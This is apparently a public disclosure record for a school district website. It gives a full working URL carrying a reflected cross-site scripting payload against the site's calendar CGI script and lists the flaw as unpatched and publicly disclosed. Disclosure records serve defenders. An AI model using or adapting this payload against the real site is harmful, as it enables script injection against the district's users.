scsd.k12.wa.us XSS vulnerability

Vulnerable URL: http://www.scsd.k12.wa.us/cgi-bin/scsdcal.pl?Op=ShowIt=%22%3E%3Cimg/src=%22%3E%22onerror=confirm%27XSSPOSED%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...